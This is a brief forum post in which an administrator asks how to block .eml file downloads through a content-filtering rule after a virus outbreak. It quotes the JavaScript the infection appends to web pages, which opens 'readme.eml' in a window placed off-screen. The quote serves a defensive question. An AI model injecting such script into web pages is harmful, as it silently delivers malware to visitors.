Hi All, Following the recent virus outbreak, I want to block all our internal users from downloading any files with the .eml extension. I have setup a 'Site and Content' rule to block all .eml files. Do I have to specify a MIME type also. If so, does anyone know the MIME type this virus is using. A .eml file is downloaded as part of the attack when a user browses an infected website. The following JavaScript is appended to all web pages:- <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html> Patrick